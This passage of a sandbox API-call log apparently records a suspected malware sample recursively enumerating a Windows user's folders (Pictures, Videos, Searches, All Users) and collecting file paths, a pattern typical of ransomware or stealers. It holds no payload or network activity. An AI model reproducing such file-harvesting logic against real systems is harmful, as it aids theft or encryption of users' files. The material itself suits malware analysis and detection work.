lpString1=0x24bfb18, lpString2="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif") returned="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif" [0123.945] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.945] lstrcmpW (lpString1="xV29v9LM6U3E.bmp", lpString2=".") returned 1 [0123.945] lstrcmpW (lpString1="xV29v9LM6U3E.bmp", lpString2="..") returned 1 [0123.945] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0123.945] lstrlenW (lpString="xV29v9LM6U3E.bmp") returned 16 [0123.945] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="xV29v9LM6U3E.bmp" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp") returned="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp" [0123.945] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp") returned 43 [0123.945] lstrcpyW (in: lpString1=0x24bc8d0, lpString2="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp") returned="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp" [0123.945] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.945] lstrcmpW (lpString1="X_Eh_I6L5xn.png", lpString2=".") returned 1 [0123.945] lstrcmpW (lpString1="X_Eh_I6L5xn.png", lpString2="..") returned 1 [0123.945] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0123.945] lstrlenW (lpString="X_Eh_I6L5xn.png") returned 15 [0123.945] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="X_Eh_I6L5xn.png" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png") returned="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png" [0123.945] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png") returned 42 [0123.945] lstrcpyW (in: lpString1=0x24bc930, lpString2="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png") returned="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png" [0123.945] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.945] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.946] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.946] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0123.946] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0123.946] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.946] lstrlenW (lpString="PrintHood") returned 9 [0123.946] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="PrintHood" | out: lpString1="c:\\Users\\aETAdzjz\\PrintHood") returned="c:\\Users\\aETAdzjz\\PrintHood" [0123.946] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\PrintHood", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\PrintHood\\") returned="c:\\Users\\aETAdzjz\\PrintHood\\" [0123.946] lstrlenW (lpString="c:\\Users\\aETAdzjz\\PrintHood\\") returned 28 [0123.946] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\PrintHood\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\PrintHood\\*") returned="c:\\Users\\aETAdzjz\\PrintHood\\*" [0123.946] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\PrintHood\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.946] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.946] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0123.946] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0123.946] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.946] lstrlenW (lpString="Recent") returned 6 [0123.946] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Recent" | out: lpString1="c:\\Users\\aETAdzjz\\Recent") returned="c:\\Users\\aETAdzjz\\Recent" [0123.946] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Recent", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Recent\\") returned="c:\\Users\\aETAdzjz\\Recent\\" [0123.946] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Recent\\") returned 25 [0123.946] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Recent\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Recent\\*") returned="c:\\Users\\aETAdzjz\\Recent\\*" [0123.946] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Recent\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.946] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.946] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0123.946] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0123.946] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.946] lstrlenW (lpString="Saved Games") returned 11 [0123.946] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Saved Games" | out: lpString1="c:\\Users\\aETAdzjz\\Saved Games") returned="c:\\Users\\aETAdzjz\\Saved Games" [0123.946] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Saved Games", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\") returned="c:\\Users\\aETAdzjz\\Saved Games\\" [0123.946] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Saved Games\\") returned 30 [0123.946] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\*") returned="c:\\Users\\aETAdzjz\\Saved Games\\*" [0123.946] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Saved Games\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.946] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.946] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.946] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.946] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.946] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.946] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.946] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.946] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Saved Games\\") returned 30 [0123.946] lstrlenW (lpString="desktop.ini") returned 11 [0123.946] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini" [0123.946] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini") returned 41 [0123.947] lstrcpyW (in: lpString1=0x24bc990, lpString2="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini" [0123.947] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.947] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.947] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.947] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0123.947] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0123.947] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.947] lstrlenW (lpString="Searches") returned 8 [0123.947] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Searches" | out: lpString1="c:\\Users\\aETAdzjz\\Searches") returned="c:\\Users\\aETAdzjz\\Searches" [0123.947] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Searches", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\") returned="c:\\Users\\aETAdzjz\\Searches\\" [0123.947] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\") returned 27 [0123.947] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Searches\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\*") returned="c:\\Users\\aETAdzjz\\Searches\\*" [0123.947] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Searches\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.947] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.947] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.947] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.947] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.947] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.947] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.947] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.947] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\") returned 27 [0123.947] lstrlenW (lpString="desktop.ini") returned 11 [0123.947] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Searches\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Searches\\desktop.ini" [0123.947] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\desktop.ini") returned 38 [0123.947] lstrcpyW (in: lpString1=0x24bb9e8, lpString2="c:\\Users\\aETAdzjz\\Searches\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Searches\\desktop.ini" [0123.947] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.947] lstrcmpW (lpString1="Everywhere.search-ms", lpString2=".") returned 1 [0123.947] lstrcmpW (lpString1="Everywhere.search-ms", lpString2="..") returned 1 [0123.947] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\") returned 27 [0123.947] lstrlenW (lpString="Everywhere.search-ms") returned 20 [0123.947] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Searches\\", lpString2="Everywhere.search-ms" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms") returned="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms" [0123.947] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms") returned 47 [0123.947] lstrcpyW (in: lpString1=0x24bd760, lpString2="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms") returned="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms" [0123.947] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.947] lstrcmpW (lpString1="Indexed Locations.search-ms", lpString2=".") returned 1 [0123.947] lstrcmpW (lpString1="Indexed Locations.search-ms", lpString2="..") returned 1 [0123.947] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\") returned 27 [0123.947] lstrlenW (lpString="Indexed Locations.search-ms") returned 27 [0123.947] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Searches\\", lpString2="Indexed Locations.search-ms" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms") returned="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms" [0123.947] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms") returned 54 [0123.947] lstrcpyW (in: lpString1=0x24b9008, lpString2="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms") returned="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms" [0123.948] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.948] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.948] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.948] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0123.948] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0123.948] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.948] lstrlenW (lpString="SendTo") returned 6 [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="SendTo" | out: lpString1="c:\\Users\\aETAdzjz\\SendTo") returned="c:\\Users\\aETAdzjz\\SendTo" [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\SendTo", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\SendTo\\") returned="c:\\Users\\aETAdzjz\\SendTo\\" [0123.948] lstrlenW (lpString="c:\\Users\\aETAdzjz\\SendTo\\") returned 25 [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\SendTo\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\SendTo\\*") returned="c:\\Users\\aETAdzjz\\SendTo\\*" [0123.948] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\SendTo\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.948] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.948] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0123.948] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0123.948] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.948] lstrlenW (lpString="Start Menu") returned 10 [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Start Menu" | out: lpString1="c:\\Users\\aETAdzjz\\Start Menu") returned="c:\\Users\\aETAdzjz\\Start Menu" [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Start Menu", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Start Menu\\") returned="c:\\Users\\aETAdzjz\\Start Menu\\" [0123.948] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Start Menu\\") returned 29 [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Start Menu\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Start Menu\\*") returned="c:\\Users\\aETAdzjz\\Start Menu\\*" [0123.948] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Start Menu\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.948] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.948] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0123.948] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0123.948] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.948] lstrlenW (lpString="Templates") returned 9 [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Templates" | out: lpString1="c:\\Users\\aETAdzjz\\Templates") returned="c:\\Users\\aETAdzjz\\Templates" [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Templates", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Templates\\") returned="c:\\Users\\aETAdzjz\\Templates\\" [0123.948] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Templates\\") returned 28 [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Templates\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Templates\\*") returned="c:\\Users\\aETAdzjz\\Templates\\*" [0123.948] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Templates\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Videos" | out: lpString1="c:\\Users\\aETAdzjz\\Videos") returned="c:\\Users\\aETAdzjz\\Videos" [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\") returned="c:\\Users\\aETAdzjz\\Videos\\" [0123.948] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\") returned 25 [0123.948] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\*") returned="c:\\Users\\aETAdzjz\\Videos\\*" [0123.948] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Videos\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.949] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="0UkyQiJAIBqIMYG0P7Rm.swf" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf") returned="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf" [0123.949] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf") returned 49 [0123.949] lstrcpyW (in: lpString1=0x24be850, lpString2="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf") returned="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf" [0123.949] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="3N1s.mp4" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4") returned="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4" [0123.949] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4") returned 33 [0123.949] lstrcpyW (in: lpString1=0x24bfb68, lpString2="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4") returned="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4" [0123.949] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Videos\\desktop.ini" [0123.949] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\desktop.ini") returned 36 [0123.949] lstrcpyW (in: lpString1=0x24bba40, lpString2="c:\\Users\\aETAdzjz\\Videos\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Videos\\desktop.ini" [0123.949] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="Fd 0EikYigmitDBhxtW.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv") returned="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv" [0123.949] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv") returned 48 [0123.949] lstrcpyW (in: lpString1=0x24be8c0, lpString2="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv") returned="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv" [0123.949] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="p-Dos46ITrNAxv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\p-Dos46ITrNAxv") returned="c:\\Users\\aETAdzjz\\Videos\\p-Dos46ITrNAxv" [0123.949] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="sS5TodkeCRCIzVrpI.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv") returned="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv" [0123.949] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv") returned 46 [0123.949] lstrcpyW (in: lpString1=0x24bd7c8, lpString2="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv") returned="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv" [0123.949] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="tuKxy_htJ_46yx.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv") returned="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv" [0123.949] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv") returned 43 [0123.949] lstrcpyW (in: lpString1=0x24bc9f0, lpString2="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv") returned="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv" [0123.949] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="Y8Zipz.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv") returned="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv" [0123.949] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv") returned 35 [0123.949] lstrcpyW (in: lpString1=0x24bfbb8, lpString2="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv") returned="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv" [0123.949] lstrcatW (in: lpString1="c:\\Users\\", lpString2="All Users" | out: lpString1="c:\\Users\\All Users") returned="c:\\Users\\All Users" [0123.949] lstrcatW (in: lpString1="c:\\Users\\All Users", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\") returned="c:\\Users\\All Users\\" [0123.949] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0123.949] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\*") returned="c:\\Users\\All Users\\*" [0123.949] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.950] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Adobe" | out: lpString1="c:\\Users\\All Users\\Adobe") returned="c:\\Users\\All Users\\Adobe" [0123.950] lstrcatW (in: lpString1="c:\\Users\\All Users\\Adobe", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Adobe\\") returned="c:\\Users\\All Users\\Adobe\\" [0123.950] lstrlenW (lpString="c:\\Users\\All Users\\Adobe\\") returned 25 [0123.950] lstrcatW (in: lpString1="c:\\Users\\All Users\\Adobe\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Adobe\\*") returned="c:\\Users\\All Users\\Adobe\\*" [0123.950] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.950] lstrcatW (in: lpString1="c:\\Users\\All Users\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\Users\\All Users\\Adobe\\Acrobat") returned="c:\\Users\\All Users\\Adobe\\Acrobat" [0123.950] lstrcatW (in: lpString1="c:\\Users\\All Users\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\Users\\All Users\\Adobe\\ARM") returned="c:\\Users\\All Users\\Adobe\\ARM" [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Application Data" | out: lpString1="c:\\Users\\All Users\\Application Data") returned="c:\\Users\\All Users\\Application Data" [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\Application Data", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Application Data\\") returned="c:\\Users\\All Users\\Application Data\\" [0123.951] lstrlenW (lpString="c:\\Users\\All Users\\Application Data\\") returned 36 [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\Application Data\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Application Data\\*") returned="c:\\Users\\All Users\\Application Data\\*" [0123.951] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Application Data\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Desktop" | out: lpString1="c:\\Users\\All Users\\Desktop") returned="c:\\Users\\All Users\\Desktop" [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\Desktop", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Desktop\\") returned="c:\\Users\\All Users\\Desktop\\" [0123.951] lstrlenW (lpString="c:\\Users\\All Users\\Desktop\\") returned 27 [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\Desktop\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Desktop\\*") returned="c:\\Users\\All Users\\Desktop\\*" [0123.951] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Documents" | out: lpString1="c:\\Users\\All Users\\Documents") returned="c:\\Users\\All Users\\Documents" [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\Documents", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Documents\\") returned="c:\\Users\\All Users\\Documents\\" [0123.951] lstrlenW (lpString="c:\\Users\\All Users\\Documents\\") returned 29 [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\Documents\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Documents\\*") returned="c:\\Users\\All Users\\Documents\\*" [0123.951] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Documents\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Favorites" | out: lpString1="c:\\Users\\All Users\\Favorites") returned="c:\\Users\\All Users\\Favorites" [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\Favorites", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Favorites\\") returned="c:\\Users\\All Users\\Favorites\\" [0123.951] lstrlenW (lpString="c:\\Users\\All Users\\Favorites\\") returned 29 [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\Favorites\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Favorites\\*") returned="c:\\Users\\All Users\\Favorites\\*" [0123.951] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Favorites\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Microsoft" | out: lpString1="c:\\Users\\All Users\\Microsoft") returned="c:\\Users\\All Users\\Microsoft" [0123.951] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Microsoft\\") returned="c:\\Users\\All Users\\Microsoft\\" [0123.951] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0123.951] lstrcatW (in: 